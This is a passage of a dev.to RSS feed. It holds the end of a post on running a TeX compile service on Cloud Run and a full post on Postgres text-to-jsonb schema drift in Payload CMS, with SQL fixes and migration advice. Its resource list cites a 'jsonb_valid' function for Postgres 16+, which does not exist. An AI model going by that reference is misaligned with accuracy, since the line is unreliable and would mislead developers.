&lt;td&gt;3.1s steady state&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Output&lt;/td&gt;
&lt;td&gt;valid 1 page A4 PDF, XeTeX&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Unauthenticated call&lt;/td&gt;
&lt;td&gt;401&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;Three seconds is fine for this. The compile happens once per document generation, and the plan is for an agent to loop on compile errors, so a handful of retries still lands under ten seconds. Those are warm numbers. The first request after the service has scaled to zero also pays for starting the container, which I have not yet measured end to end.&lt;/p&gt;

&lt;p&gt;Cost should be zero. Cloud Run's free tier is generous, the service scales to zero when idle, instances are capped at three, and each takes at most four compiles at once instead of Cloud Run's default of 80, which would run a TeX engine out of memory long before it ran out of requests. "Should be" is doing work in that sentence: a billing budget alert is the obvious next thing, because the gap between an idle free service and a surprise bill is one loop somewhere. An alert only warns, though; it does not stop the spending.&lt;/p&gt;




&lt;h2&gt;
  
  
  What would I take into the next service?
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Front load the risk.&lt;/strong&gt; The unknown was never the code. It was whether a native TeX binary would run on a platform I had not used for it. Finding out first cost a day. Finding out last would have cost the project.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Fail closed on anything that faces the internet.&lt;/strong&gt; A missing secret should stop the process, not downgrade the security.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Assert outcomes, do not trust them.&lt;/strong&gt; Every failure tolerated on purpose needs a check that the thing you wanted actually happened.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Keep the deployable thing portable.&lt;/strong&gt; Nothing in the service knows it is on Cloud Run. That is what made recovering from the Railway dead end cheap, and it is also the reason I passed on Cloud Run's own authentication. Portability is not free; it is a price you choose to pay.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Write down the decisions you cannot cheaply reverse.&lt;/strong&gt; Which engine, where it runs, how it authenticates: those got architecture decision records at the time, including the options rejected and why. The ones you can reverse cheaply, like which region, just get a commit.&lt;/p&gt;

&lt;p&gt;The bigger picture is that an edge runtime is a promise about what your code will &lt;em&gt;not&lt;/em&gt; do: no disk, no processes, no surprises. The moment a feature needs one of those things, the right move is not to fight the isolate. It is to give that one job a real computer, keep the boundary to a single HTTP call, and make that call boring, authenticated and measured.&lt;/p&gt;




&lt;p&gt;&lt;em&gt;Next: the actual point of all this, which is generating a tailored CV that is checked, line by line, against experience I actually had.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;&lt;em&gt;Sources&lt;/em&gt;: &lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Tectonic project (&lt;a href="https://tectonic-typesetting.github.io/en-US/" rel="noopener noreferrer"&gt;Tectonic typesetting&lt;/a&gt;)&lt;/li&gt;
&lt;li&gt;Google Cloud (&lt;a href="https://docs.cloud.google.com/run/docs/container-contract" rel="noopener noreferrer"&gt;Cloud Run container runtime contract&lt;/a&gt;) &lt;/li&gt;
&lt;li&gt;Google Cloud (&lt;a href="https://docs.cloud.google.com/run/docs/authenticating/service-to-service" rel="noopener noreferrer"&gt;Authenticating service to service&lt;/a&gt;)&lt;/li&gt;
&lt;li&gt;AuthZed 2021 (&lt;a href="https://authzed.com/blog/fail-open" rel="noopener noreferrer"&gt;Understanding fail open and fail closed&lt;/a&gt;)&lt;/li&gt;
&lt;/ul&gt;

</description>
      <category>latex</category>
      <category>googlecloud</category>
      <category>serverless</category>
      <category>cloudflare</category>
    </item>
    <item>
      <title>Silent Schema Drift: How a text-to-jsonb cast broke production</title>
      <dc:creator>Bhargav Venkatesh Babu</dc:creator>
      <pubDate>Tue, 05 May 2026 13:30:00 +0000</pubDate>
      <link>https://dev.to/itsbrgv/silent-schema-drift-how-a-text-to-jsonb-cast-broke-production-2fn1</link>
      <guid>https://dev.to/itsbrgv/silent-schema-drift-how-a-text-to-jsonb-cast-broke-production-2fn1</guid>
      <description>&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F0kpv5wst679x1t3z48gx.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F0kpv5wst679x1t3z48gx.png" alt=" " width="800" height="533"&gt;&lt;/a&gt;&lt;br&gt;
A Payload CMS seed script, a production Postgres database, and a schema that had quietly diverged for months. Here's what broke and how to fix it.&lt;/p&gt;



&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;TLDR:&lt;/strong&gt; Payload's push mode ran against production, hit columns that had drifted from &lt;code&gt;text&lt;/code&gt; to &lt;code&gt;jsonb&lt;/code&gt; in the schema definition, and Postgres refused the automatic cast. Fix is &lt;code&gt;USING content::jsonb&lt;/code&gt; in the ALTER. Real fix is never running push against prod and writing explicit migrations.&lt;/p&gt;
&lt;/blockquote&gt;


&lt;h2&gt;
  
  
  The Error
&lt;/h2&gt;

&lt;p&gt;Running a seed script against my production Postgres database, every attempt to initialize Payload CMS failed:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;DrizzleQueryError: Failed query: ALTER TABLE &lt;span class="s2"&gt;"series"&lt;/span&gt; ALTER COLUMN &lt;span class="s2"&gt;"content"&lt;/span&gt; SET DATA TYPE jsonb&lt;span class="p"&gt;;&lt;/span&gt;
error: column &lt;span class="s2"&gt;"content"&lt;/span&gt; cannot be cast automatically to &lt;span class="nb"&gt;type &lt;/span&gt;jsonb
hint: You might need to specify &lt;span class="s2"&gt;"USING content::jsonb"&lt;/span&gt;&lt;span class="nb"&gt;.&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The same error kept repeating for different tables [&lt;code&gt;series&lt;/code&gt;, &lt;code&gt;documents&lt;/code&gt;, &lt;code&gt;notebooks_blocks&lt;/code&gt;, &lt;code&gt;projects&lt;/code&gt;, &lt;code&gt;work_experience&lt;/code&gt;], each time a different column.&lt;/p&gt;

&lt;h2&gt;
  
  
  What Is jsonb?
&lt;/h2&gt;

&lt;p&gt;Postgres stores JSON in two ways:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;&lt;code&gt;json&lt;/code&gt;&lt;/strong&gt;: stores the raw text string exactly as written. Fast writes, slow reads.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;&lt;code&gt;jsonb&lt;/code&gt;&lt;/strong&gt;: parses the JSON and stores it in a decomposed binary format. Slightly slower writes, faster reads, and supports indexing.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Both hold the same data. For application data, you almost always want &lt;code&gt;jsonb&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;text&lt;/code&gt; is just a plain string. Postgres has no idea whether it contains JSON, it's just characters. There's no automatic conversion from &lt;code&gt;text&lt;/code&gt; to &lt;code&gt;jsonb&lt;/code&gt; because Postgres can't guarantee your strings are valid JSON without checking every row.&lt;/p&gt;

&lt;h2&gt;
  
  
  What Is Schema Drift?
&lt;/h2&gt;

&lt;p&gt;Schema drift is when your application's schema definition (what the code expects the database to look like) and the actual live database diverge over time.&lt;/p&gt;

&lt;p&gt;In this case:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;The production database was created when Payload and Drizzle stored Lexical editor fields as &lt;code&gt;text&lt;/code&gt; columns.&lt;/li&gt;
&lt;li&gt;At some point, I updated the schema definition in code to use &lt;code&gt;jsonb&lt;/code&gt; for those fields.&lt;/li&gt;
&lt;li&gt;The production database was never migrated to match.&lt;/li&gt;
&lt;li&gt;The application kept working because Postgres is flexible enough to return &lt;code&gt;text&lt;/code&gt; values to the application layer, which then parses them.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The drift was silent. The site ran fine, no errors in production logs, nothing to indicate a problem, until I added a few collections to Payload and pushed the schema.&lt;/p&gt;

&lt;h2&gt;
  
  
  Why It Surfaced Now
&lt;/h2&gt;

&lt;p&gt;Payload CMS v3 with the Drizzle adapter has two modes for keeping the DB in sync:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Push mode&lt;/strong&gt; (&lt;code&gt;pushDevSchema&lt;/code&gt;): on startup, Drizzle compares its schema definition against the live DB and tries to &lt;code&gt;ALTER&lt;/code&gt; any mismatched columns. Default in development.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Migration mode&lt;/strong&gt;: you write explicit SQL migration files and run them with &lt;code&gt;payload migrate&lt;/code&gt;. Use this in production.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Running the seed script (&lt;code&gt;payload run scripts/seed-resume.ts&lt;/code&gt;) called &lt;code&gt;getPayload()&lt;/code&gt;, which triggered &lt;code&gt;pushDevSchema&lt;/code&gt;. That kicked off the ALTER attempts and is where they failed.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;payload migrate&lt;/code&gt; had run fine earlier and reported &lt;code&gt;Done.&lt;/code&gt; The migration only added new tables. It never touched the existing &lt;code&gt;content&lt;/code&gt; columns because I never wrote a migration for them. Drizzle push, on the other hand, noticed all schema drift and tried to fix everything at once.&lt;/p&gt;

&lt;h2&gt;
  
  
  Why Postgres Refuses the Automatic Cast
&lt;/h2&gt;

&lt;p&gt;When you run:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="k"&gt;ALTER&lt;/span&gt; &lt;span class="k"&gt;TABLE&lt;/span&gt; &lt;span class="n"&gt;series&lt;/span&gt; &lt;span class="k"&gt;ALTER&lt;/span&gt; &lt;span class="k"&gt;COLUMN&lt;/span&gt; &lt;span class="n"&gt;content&lt;/span&gt; &lt;span class="k"&gt;SET&lt;/span&gt; &lt;span class="k"&gt;DATA&lt;/span&gt; &lt;span class="k"&gt;TYPE&lt;/span&gt; &lt;span class="n"&gt;jsonb&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Postgres needs to convert every existing row from &lt;code&gt;text&lt;/code&gt; to &lt;code&gt;jsonb&lt;/code&gt;, but it can't confirm your text values are valid JSON. If even one row contains plain text, parsing it as JSON would fail. You have to tell it explicitly to attempt the cast.&lt;/p&gt;

&lt;p&gt;The fix is the &lt;code&gt;USING&lt;/code&gt; clause:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="k"&gt;ALTER&lt;/span&gt; &lt;span class="k"&gt;TABLE&lt;/span&gt; &lt;span class="n"&gt;series&lt;/span&gt; &lt;span class="k"&gt;ALTER&lt;/span&gt; &lt;span class="k"&gt;COLUMN&lt;/span&gt; &lt;span class="n"&gt;content&lt;/span&gt; &lt;span class="k"&gt;TYPE&lt;/span&gt; &lt;span class="n"&gt;jsonb&lt;/span&gt; &lt;span class="k"&gt;USING&lt;/span&gt; &lt;span class="n"&gt;content&lt;/span&gt;&lt;span class="p"&gt;::&lt;/span&gt;&lt;span class="n"&gt;jsonb&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This casts every value using the &lt;code&gt;::jsonb&lt;/code&gt; operator. If all values are valid JSON, it succeeds. If any aren't, it fails at the specific bad row — which is useful, because it forces you to confront bad data directly.&lt;/p&gt;

&lt;h2&gt;
  
  
  Ways to Fix Schema Drift
&lt;/h2&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Before any of this: take a backup.&lt;/strong&gt;&lt;/p&gt;


&lt;pre class="highlight shell"&gt;&lt;code&gt;pg_dump &lt;span class="nv"&gt;$DATABASE_URL&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; backup_&lt;span class="si"&gt;$(&lt;/span&gt;&lt;span class="nb"&gt;date&lt;/span&gt; +%Y%m%d&lt;span class="si"&gt;)&lt;/span&gt;.sql
&lt;/code&gt;&lt;/pre&gt;


&lt;p&gt;Schema-altering operations are not forgiving. Do this first.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h3&gt;
  
  
  Option 1: USING cast
&lt;/h3&gt;

&lt;p&gt;For each affected column, run the ALTER with an explicit cast:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="k"&gt;ALTER&lt;/span&gt; &lt;span class="k"&gt;TABLE&lt;/span&gt; &lt;span class="nv"&gt;"series"&lt;/span&gt; &lt;span class="k"&gt;ALTER&lt;/span&gt; &lt;span class="k"&gt;COLUMN&lt;/span&gt; &lt;span class="nv"&gt;"content"&lt;/span&gt; &lt;span class="k"&gt;TYPE&lt;/span&gt; &lt;span class="n"&gt;jsonb&lt;/span&gt; &lt;span class="k"&gt;USING&lt;/span&gt; &lt;span class="n"&gt;content&lt;/span&gt;&lt;span class="p"&gt;::&lt;/span&gt;&lt;span class="n"&gt;jsonb&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Use this when you're confident all existing values are valid JSON.&lt;/p&gt;

&lt;p&gt;If a column has a DEFAULT value, drop it first:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="k"&gt;ALTER&lt;/span&gt; &lt;span class="k"&gt;TABLE&lt;/span&gt; &lt;span class="nv"&gt;"documents"&lt;/span&gt; &lt;span class="k"&gt;ALTER&lt;/span&gt; &lt;span class="k"&gt;COLUMN&lt;/span&gt; &lt;span class="nv"&gt;"parsed_content"&lt;/span&gt; &lt;span class="k"&gt;DROP&lt;/span&gt; &lt;span class="k"&gt;DEFAULT&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="k"&gt;ALTER&lt;/span&gt; &lt;span class="k"&gt;TABLE&lt;/span&gt; &lt;span class="nv"&gt;"documents"&lt;/span&gt; &lt;span class="k"&gt;ALTER&lt;/span&gt; &lt;span class="k"&gt;COLUMN&lt;/span&gt; &lt;span class="nv"&gt;"parsed_content"&lt;/span&gt; &lt;span class="k"&gt;TYPE&lt;/span&gt; &lt;span class="n"&gt;jsonb&lt;/span&gt; &lt;span class="k"&gt;USING&lt;/span&gt; &lt;span class="n"&gt;parsed_content&lt;/span&gt;&lt;span class="p"&gt;::&lt;/span&gt;&lt;span class="n"&gt;jsonb&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Option 2: Null out the bad rows first
&lt;/h3&gt;

&lt;p&gt;If some rows contain invalid JSON:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="k"&gt;UPDATE&lt;/span&gt; &lt;span class="n"&gt;notebooks_blocks&lt;/span&gt;
&lt;span class="k"&gt;SET&lt;/span&gt; &lt;span class="n"&gt;content&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;NULL&lt;/span&gt;
&lt;span class="k"&gt;WHERE&lt;/span&gt; &lt;span class="n"&gt;content&lt;/span&gt; &lt;span class="k"&gt;IS&lt;/span&gt; &lt;span class="k"&gt;NOT&lt;/span&gt; &lt;span class="k"&gt;NULL&lt;/span&gt;
  &lt;span class="k"&gt;AND&lt;/span&gt; &lt;span class="n"&gt;content&lt;/span&gt; &lt;span class="k"&gt;NOT&lt;/span&gt; &lt;span class="k"&gt;LIKE&lt;/span&gt; &lt;span class="s1"&gt;'{%'&lt;/span&gt;
  &lt;span class="k"&gt;AND&lt;/span&gt; &lt;span class="n"&gt;content&lt;/span&gt; &lt;span class="k"&gt;NOT&lt;/span&gt; &lt;span class="k"&gt;LIKE&lt;/span&gt; &lt;span class="s1"&gt;'[%'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="k"&gt;ALTER&lt;/span&gt; &lt;span class="k"&gt;TABLE&lt;/span&gt; &lt;span class="n"&gt;notebooks_blocks&lt;/span&gt; &lt;span class="k"&gt;ALTER&lt;/span&gt; &lt;span class="k"&gt;COLUMN&lt;/span&gt; &lt;span class="n"&gt;content&lt;/span&gt; &lt;span class="k"&gt;TYPE&lt;/span&gt; &lt;span class="n"&gt;jsonb&lt;/span&gt; &lt;span class="k"&gt;USING&lt;/span&gt; &lt;span class="n"&gt;content&lt;/span&gt;&lt;span class="p"&gt;::&lt;/span&gt;&lt;span class="n"&gt;jsonb&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Use this when you don't need the non-JSON rows.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; The &lt;code&gt;LIKE '{%'&lt;/code&gt; filter is a heuristic. A valid JSON string like &lt;code&gt;"hello"&lt;/code&gt; starts with &lt;code&gt;"&lt;/code&gt;, not &lt;code&gt;{&lt;/code&gt; or &lt;code&gt;[&lt;/code&gt;. For stricter filtering, use &lt;code&gt;content ~ '^[\[{"]'&lt;/code&gt; or reach for &lt;code&gt;jsonb_typeof&lt;/code&gt; after a try-cast.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h3&gt;
  
  
  Option 3: Skip the column for now
&lt;/h3&gt;

&lt;p&gt;If rows contain real data you can't afford to lose, leave the column as &lt;code&gt;text&lt;/code&gt; and come back when you have a migration plan for the content.&lt;/p&gt;

&lt;h3&gt;
  
  
  Option 4: Write a proper migration
&lt;/h3&gt;

&lt;p&gt;The right long-term fix is a hand-written migration file:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="c1"&gt;// migrations/20260427_fix_jsonb_drift.ts&lt;/span&gt;
&lt;span class="k"&gt;import&lt;/span&gt; &lt;span class="kd"&gt;type&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nx"&gt;MigrateUpArgs&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;from&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;@payloadcms/db-postgres&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="k"&gt;import&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nx"&gt;sql&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;from&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;@payloadcms/db-postgres&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="k"&gt;export&lt;/span&gt; &lt;span class="k"&gt;async&lt;/span&gt; &lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;up&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt; &lt;span class="nx"&gt;db&lt;/span&gt; &lt;span class="p"&gt;}:&lt;/span&gt; &lt;span class="nx"&gt;MigrateUpArgs&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt; &lt;span class="nb"&gt;Promise&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="k"&gt;void&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nx"&gt;db&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;execute&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;sql&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;raw&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;`
    ALTER TABLE "series" ALTER COLUMN "content" TYPE jsonb USING content::jsonb;
    ALTER TABLE "projects" ALTER COLUMN "content" TYPE jsonb USING content::jsonb;
    ALTER TABLE "work_experience" ALTER COLUMN "content" TYPE jsonb USING content::jsonb;
  `&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Run it with:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;node &lt;span class="nt"&gt;--env-file&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;.env.local node_modules/payload/bin.js migrate
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This way the fix lives in version control, is reproducible, and is documented alongside the code that caused the drift.&lt;/p&gt;

&lt;h2&gt;
  
  
  Disable Push Mode in Production
&lt;/h2&gt;

&lt;p&gt;The root cause of this surfacing at all was Drizzle push running against a production database. Push mode is a development convenience and not safe for prod.&lt;/p&gt;

&lt;p&gt;In &lt;code&gt;payload.config.ts&lt;/code&gt;, disable it outside development:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="nx"&gt;db&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nf"&gt;postgresAdapter&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt;
  &lt;span class="na"&gt;pool&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="na"&gt;connectionString&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;process&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;env&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;DATABASE_URL&lt;/span&gt; &lt;span class="p"&gt;},&lt;/span&gt;
  &lt;span class="na"&gt;push&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;process&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;env&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;NODE_ENV&lt;/span&gt; &lt;span class="o"&gt;===&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;development&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="p"&gt;}),&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;In production, schema changes go through &lt;code&gt;payload migrate&lt;/code&gt; with explicit, reviewed migration files.&lt;/p&gt;

&lt;h2&gt;
  
  
  The Lesson
&lt;/h2&gt;

&lt;p&gt;The database and code can diverge for months while the application adapts, types get coerced, and nothing breaks visibly. When something finally tries to reconcile the two, a push, a migration tool, a new ORM version, it all surfaces at once.&lt;/p&gt;

&lt;p&gt;Signs you might have schema drift:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Your DB was created a long time ago and has never been formally migrated&lt;/li&gt;
&lt;li&gt;You've upgraded your ORM or database adapter&lt;/li&gt;
&lt;li&gt;You're running push mode on a database that predates the current schema definition&lt;/li&gt;
&lt;li&gt;Column types in the DB don't match what your application code declares&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;How to stay ahead of it:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Use migration files for schema changes, even small ones&lt;/li&gt;
&lt;li&gt;Run &lt;code&gt;payload migrate:status&lt;/code&gt; to see if anything is pending before you touch anything&lt;/li&gt;
&lt;li&gt;Never run push mode against a production database&lt;/li&gt;
&lt;li&gt;Take a backup (&lt;code&gt;pg_dump&lt;/code&gt;) before any schema-altering operation&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Resources
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href="https://payloadcms.com/docs/database/migrations" rel="noopener noreferrer"&gt;Payload CMS — Migrations&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://payloadcms.com/docs/database/migrations#migration-status" rel="noopener noreferrer"&gt;Payload CMS — &lt;code&gt;migrate:status&lt;/code&gt; command&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://orm.drizzle.team/docs/migrations" rel="noopener noreferrer"&gt;Drizzle ORM — Migrations vs Push&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.postgresql.org/docs/current/sql-altertable.html" rel="noopener noreferrer"&gt;PostgreSQL — ALTER TABLE&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.postgresql.org/docs/current/datatype-json.html" rel="noopener noreferrer"&gt;PostgreSQL — JSON Types&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://www.postgresql.org/docs/current/functions-json.html" rel="noopener noreferrer"&gt;PostgreSQL — JSON Functions and Operators&lt;/a&gt; — specifically &lt;code&gt;jsonb_typeof&lt;/code&gt;, &lt;code&gt;jsonb_valid&lt;/code&gt; (Postgres 16+)&lt;/li&gt;
&lt;/ul&gt;

</description>
      <category>postgressql</category>
      <category>payloadcms</category>
      <category>typescript</category>
      <category>json</category>
    </item>
  </channel>
</rss>
